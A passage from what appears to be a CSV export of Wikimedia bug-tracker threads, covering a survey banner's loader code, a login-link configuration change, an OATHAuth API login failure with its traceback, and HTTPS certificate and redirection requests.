src=\""http:\/\/bits.wikimedia.org\/skins-1.17\/common\/images\/closewindow.png\"" alt=\""Close\"" \/><\/a>\n  <\/div>\n\n<\/div>\n<script type=\""text\/javascript\"">\n\/\/include throttle\nvar throttle = 5;\nvar throttleVal = Math.floor(Math.random() * throttle);\nif (throttleVal == 0 ) {\n  $('#mobileSurvey2011').show();\n  $('head').append('<link rel=\""stylesheet\"" href=\""http:\/\/wikimediafoundation.org\/tracker\/bannerImpression.php?req=css&surveyView=1 \"" type=\""text\/css\"" \/>');\n  var url = 'http:\/\/wikimedia.limequery.org\/52291\/lang-'+wgUserLanguage;\n  $(\""#mobileSurvey2011 a.variable_lp\"").attr(\""href\"",url);\n\n}\n<\/script>"",""campaign"":""Mobile Readers Survey"",""fundraising"":""0"",""landingPages"":""""});",,,1318015022,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-99,True,0.0,0.0,0.0,0.0,0.0,2.25,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.25,0.25,0.0,0.25,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.75,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.25,0.0,21.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,1.25,0.25,3.25,0.0,0.25,1.5,0.0,0.0,0.25,1.25,1.25,0.0,3.0,0.0,0.25,0.25,10.5,0.0,4.75,0.0,0.25,0.0,0.25,0.5,0.0,0.25,0.25,0.0,5.0,6.710483609217786,0.5765579357351509,"The offending image seems to be URL

Here's the banner-loader output that triggers:


insertBanner({""bannerName"":""2011MobileReaders"",""bannerHtml"":""<style type=\""text\/css\"">\n\n#centralNotice.collapsed #mobileSurvey2011 {\n  display: none;\n }\n\n#mobileSurvey2011 {\n  position: relative;\n  overflow: hidden;\n  margin-bottom: 0.5em !important;\n  background-color: #d7e4fa;\n  background-repeat: repeat-x;\n  border: solid 1px #a7d7f9; \n  display: none;\n}\n\n#mobileSurvey2011-content {\n  position:relative;\n  padding: 30px 80px;\n  text-align: center;\n}\n\n#mobileSurvey2011-logo {\n  position: absolute;\n  top: 20px;\n  left: 25px;\n  background-image: url(http:\/\/upload.wikimedia.org\/wikipedia\/commons\/thumb\/1\/12\/Wikimedia_logo_text_RGB.svg\/60px-Wikimedia_logo_text_RGB.svg.png);\n  height: 60px;\n  width: 60px;\n  background-repeat: no-repeat;\n}\n\n#mobileSurvey2011 #cn-toggle-box {\n  position: absolute;\n  z-index: 98;\n  top: 5px;\n  right: 5px;\n }\n<\/style>\n\n<div id=\""mobileSurvey2011\"">\n  <div id=\""mobileSurvey2011-logo\""> <\/div>\n  <div id=\""mobileSurvey2011-content\"">\n    <span style=\""font-size: 1.3em;\"">Please take the <a class=\""variable_lp\"" href=\""#\"">2011 Wikipedia Mobile Readers Survey<\/a>.<\/span><br \/>\n    <span style=\""font-style: italic; font-size: 0.9em;\"">Share your experiences and improve mobile Wikipedia.<\/span>\n  <\/div>\n  <div id=\""cn-toggle-box\"">\n    <a href=\""#\"" onclick=\""toggleNotice();$('#mobileSurvey2011').hide();return false;\""><img border=\""0\"" src=\""http:\/\/bits.wikimedia.org\/skins-1.17\/common\/images\/closewindow.png\"" alt=\""Close\"" \/><\/a>\n  <\/div>\n\n<\/div>\n<script type=\""text\/javascript\"">\n\/\/include throttle\nvar throttle = 5;\nvar throttleVal = Math.floor(Math.random() * throttle);\nif (throttleVal == 0 ) {\n  $('#mobileSurvey2011').show();\n  $('head').append('<link rel=\""stylesheet\"" href=\""http:\/\/wikimediafoundation.org\/tracker\/bannerImpression.php?req=css&surveyView=1 \"" type=\""text\/css\"" \/>');\n  var url = 'http:\/\/wikimedia.limequery.org\/52291\/lang-'+wgUserLanguage;\n  $(\""#mobileSurvey2011 a.variable_lp\"").attr(\""href\"",url);\n\n}\n<\/script>"",""campaign"":""Mobile Readers Survey"",""fundraising"":""0"",""landingPages"":""""});"
39211,Set $wgUseCombinedLoginLink = false,"Please set

$wgUseCombinedLoginLink = false

for all WMF projects per discussion on 
http://lists.wikimedia.org/pipermail/wikitech-l/2012-May/060842.html

I read no objections but strong acceptance.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1338365280,1338735017.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-s6frkbkb4u5ouxjccoje,task_description,resolved,True,c2,1,False,False,True,-65,True,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,7.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.295454545454546,0.7045454545454546,"Please set

$wgUseCombinedLoginLink = false

for all WMF projects per discussion on 
URL

I read no objections but strong acceptance.

--------------------------
**Version**: unspecified
**Severity**: normal"
179951,Set $wgUseCombinedLoginLink = false,With https://gerrit.wikimedia.org/r/#/c/10460/ the order was changed: in the top right corner is the login link now. This will be deployed soon with 1.20wmf5.,,,1339351669,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-s6frkbkb4u5ouxjccoje,task_subcomment,,True,c2,1,False,,,-64,True,0.0,0.0,0.0,8.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.769230769230769,0.8846153846153846,With URL the order was changed: in the top right corner is the login link now. This will be deployed soon with 1.20wmf5.
179946,Set $wgUseCombinedLoginLink = false,"(In reply to comment #5)
> This CSS makes it bigger: #pt-login { font-size: 1em !important; }

The real issue is I always think the whole top-right corner is clickable for login, and the bigger signup link is always catching my click...",,,1339346063,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-s6frkbkb4u5ouxjccoje,task_subcomment,,True,c2,1,False,,,-64,True,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,10.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.625,0.9,"(In reply to comment #5)
QUOTE

The real issue is I always think the whole top-right corner is clickable for login, and the bigger signup link is always catching my click..."
179940,Set $wgUseCombinedLoginLink = false,This CSS makes it bigger: #pt-login { font-size: 1em !important; },,,1339342422,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-s6frkbkb4u5ouxjccoje,task_subcomment,,True,c2,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.8,0.9,This CSS makes it bigger: #pt-login { font-size: 1em !important; }
179935,Set $wgUseCombinedLoginLink = false,After this is set I'm a little dissatisfied. Before this there was a big login link to click but now there's only a small one.,,,1339329473,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-s6frkbkb4u5ouxjccoje,task_subcomment,,True,c2,1,False,,,-64,True,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,3.0,0.0,10.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,10.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.5172413793103448,0.8275862068965517,After this is set I'm a little dissatisfied. Before this there was a big login link to click but now there's only a small one.
179930,Set $wgUseCombinedLoginLink = false,Done,,,1338735017,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-s6frkbkb4u5ouxjccoje,task_subcomment,,True,c2,1,True,,,-65,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Done
179925,Set $wgUseCombinedLoginLink = false,"(In reply to comment #1)
> Actually the general consensus appears to be we make this a MediaWiki change
> rather than a site request.

But there should be no problem, changing first the site configuration and when that works and is good, than it is still possible to change the default with a MediaWiki change.",,,1338407530,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-s6frkbkb4u5ouxjccoje,task_subcomment,,True,c2,1,False,,,-65,True,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,11.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,2.0,6.0,11.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,2.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8085106382978724,0.8297872340425532,"(In reply to comment #1)
QUOTE
QUOTE

But there should be no problem, changing first the site configuration and when that works and is good, than it is still possible to change the default with a MediaWiki change."
179919,Set $wgUseCombinedLoginLink = false,Actually the general consensus appears to be we make this a MediaWiki change rather than a site request.,,,1338367138,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-s6frkbkb4u5ouxjccoje,task_subcomment,,True,c2,1,False,,,-65,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,11.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,0.9473684210526315,Actually the general consensus appears to be we make this a MediaWiki change rather than a site request.
39031,OATHAuth breaks API login,"With OATHAuth enabled on a wiki (ie labsconsole), it is not possible to login via the API. It is rejected with a wrong password (tried with add-labs-user as below, and also AutoWikiBrowser)

sumanah@formey:~$ sudo add-labs-user --wikiname=""Giovanni Luca Ciampaglia"" --mail=""glciampagl@gmail.com"" giovanni 
Traceback (most recent call last):
  File ""/usr/local/sbin/add-labs-user"", line 37, in <module>
    main()
  File ""/usr/local/sbin/add-labs-user"", line 34, in main
    site.login(options.wikiname, passwd, domain=scriptconfig.domain)
  File ""/usr/lib/pymodules/python2.6/mwclient/client.py"", line 341, in login
    raise errors.LoginError(self, login['login'])
mwclient.errors.LoginError: (<Site object '('https', 'labsconsole.wikimedia.org')/w/'>, {u'result': u'WrongPluginPass'})

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1337714880,1337725814.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,,False,PHID-TASK-wykxla3khs6v7y2tqgox,task_description,declined,True,c2,1,True,False,True,-67,True,0.0,0.0,0.0,0.5,0.5,4.5,0.5,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,8.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.5,5.0,13.0,0.0,8.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,2.0,3.95,0.62,"With OATHAuth enabled on a wiki (ie labsconsole), it is not possible to login via the API. It is rejected with a wrong password (tried with add-labs-user as below, and also AutoWikiBrowser)

sumanah@formey:~$ sudo add-labs-user --wikiname=""Giovanni Luca Ciampaglia"" --mail=""glciampagl@gmail.com"" giovanni 
Traceback (most recent call last):
  File ""/usr/local/sbin/add-labs-user"", line 37, in <module>
    main()
  File ""/usr/local/sbin/add-labs-user"", line 34, in main
    site.login(options.wikiname, passwd, domain=scriptconfig.domain)
  File ""/usr/lib/pymodules/python2.6/mwclient/client.py"", line 341, in login
    raise errors.LoginError(self, login['login'])
mwclient.errors.LoginError: (<Site object '('https', 'labsconsole.wikimedia.org')/w/'>, {u'result': u'WrongPluginPass'})

--------------------------
**Version**: unspecified
**Severity**: normal"
179171,OATHAuth breaks API login,Yes. She also likely runs it the most.,,,1337791129,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-wykxla3khs6v7y2tqgox,task_subcomment,,True,c2,1,False,,,-66,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.1,0.9,Yes. She also likely runs it the most.
179167,OATHAuth breaks API login,"(In reply to comment #4)
> The error almost never occurs, and it's likely a timing issue of some variety.
> In the long term we don't plan using the script anyway. It's a waste of time to
> fix.

So what you're saying is that Sumana is ""lucky""? ;)",,,1337762345,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-wykxla3khs6v7y2tqgox,task_subcomment,,True,c2,1,True,,,-66,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,10.0,7.0,3.0,7.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,2.8275862068965516,0.7931034482758621,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE

So what you're saying is that Sumana is ""lucky""? ;)"
179163,OATHAuth breaks API login,"The error almost never occurs, and it's likely a timing issue of some variety. In the long term we don't plan using the script anyway. It's a waste of time to fix.",,,1337752081,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-wykxla3khs6v7y2tqgox,task_subcomment,,True,c2,1,False,,,-66,True,3.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,10.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,8.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.3846153846153846,0.8461538461538461,"The error almost never occurs, and it's likely a timing issue of some variety. In the long term we don't plan using the script anyway. It's a waste of time to fix."
179158,OATHAuth breaks API login,"**sumanah** wrote:

No, I hadn't tried running the script again.  Of course I think it would be optimal to fix it more robustly but that's in utopia. :-)  In the future I'll just try running the script again.",,,1337742724,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wykxla3khs6v7y2tqgox,task_subcomment,,True,c2,1,False,,,-66,True,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,6.0,0.0,15.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,11.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,9.0,8.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,3.2452830188679247,0.7358490566037735,"**sumanah** wrote:

No, I hadn't tried running the script again.  Of course I think it would be optimal to fix it more robustly but that's in utopia. :-)  In the future I'll just try running the script again."
179149,OATHAuth breaks API login,"Occasionally the add-labs-user script fails. This happened before OATHAuth. Did you try running that more than once?

OATHAuth will only cause auth to fail if OAUTHAuth is enabled and verified for an account. Nothing in the authentication chain causes this to occur, you can only do so via the special page.

In fact, I just ran that command again, and it went through fine. Whenever you get that error, simply try again.",,,1337725814,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-wykxla3khs6v7y2tqgox,task_subcomment,,True,c2,1,False,,,-67,True,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,2.0,0.0,1.0,0.0,12.0,12.0,1.0,2.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,4.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,11.0,3.0,2.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,12.0,1.0,1.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,3.955056179775281,0.7528089887640449,"Occasionally the add-labs-user script fails. This happened before OATHAuth. Did you try running that more than once?

OATHAuth will only cause auth to fail if OAUTHAuth is enabled and verified for an account. Nothing in the authentication chain causes this to occur, you can only do so via the special page.

In fact, I just ran that command again, and it went through fine. Whenever you get that error, simply try again."
179139,OATHAuth breaks API login,"Though, your LDAP extension and its ChainAuth hook seem somewhat suspect..",,,1337715779,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-wykxla3khs6v7y2tqgox,task_subcomment,,True,c2,1,True,,,-67,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,15.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.923076923076923,1.0,"Though, your LDAP extension and its ChainAuth hook seem somewhat suspect.."
39024,HTTPS Mobile version of non-wikipedia projects have bad certificates,"**Author:** `lambdav`

**Description:**
HTTPS Mobile version of non-wikipedia projects have bad certificates : the certificate is for *.wikipedia.org domain instead of project specific domain.

See the below mobile version of non-wikipedia projects:
* https://fr.m.wikibooks.org/wiki/Accueil
* https://fr.m.wiktionary.org/wiki/Wiktionnaire:Page_d’accueil

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: https://fr.m.wikibooks.org/wiki/Accueil",Needs Triage,90.0,1337704860,1337704981.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-lpobiyj2sphyw6c3fvpv,task_description,resolved,True,c2,1,False,False,True,-67,True,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,15.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.768292682926829,0.4634146341463415,"**Author:** CODE

**Description:**
HTTPS Mobile version of non-wikipedia projects have bad certificates : the certificate is for *.wikipedia.org domain instead of project specific domain.

See the below mobile version of non-wikipedia projects:
* URL
* URL

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: URL"
178783,HTTPS Mobile version of non-wikipedia projects have bad certificates,"

*** This bug has been marked as a duplicate of bug 34788 ***",,,1337704981,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-lpobiyj2sphyw6c3fvpv,task_subcomment,,True,c2,1,False,,,-67,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 34788 ***"
38456,"Native ""force https"" option","**Author:** `tiger197`

**Description:**
Native option for automatic redirection from http to https.

In other words, merge http://fs.fsinf.at/wiki/SecurePages extension into source code. Plus add relative options to preferences.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1335986520,1342801082.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-dqeqn7qcn3bqahgkpmfm,task_description,resolved,True,c2,1,False,False,True,-69,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.6333333333333333,"**Author:** CODE

**Description:**
Native option for automatic redirection from http to https.

In other words, merge URL extension into source code. Plus add relative options to preferences.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
180142,"Native ""force https"" option","

*** This bug has been marked as a duplicate of bug 29898 ***",,,1342801082,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dqeqn7qcn3bqahgkpmfm,task_subcomment,,True,c2,1,True,,,-58,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 29898 ***"
180136,"Native ""force https"" option","**s** wrote:

+1

Also, rIght now it’s possible to log in with HTTPS and then visit (say, from an external link) a Wikimedia page via http and be suddenly not logged in anymore. Change the URL back to https and, presto, you’re logged in again.

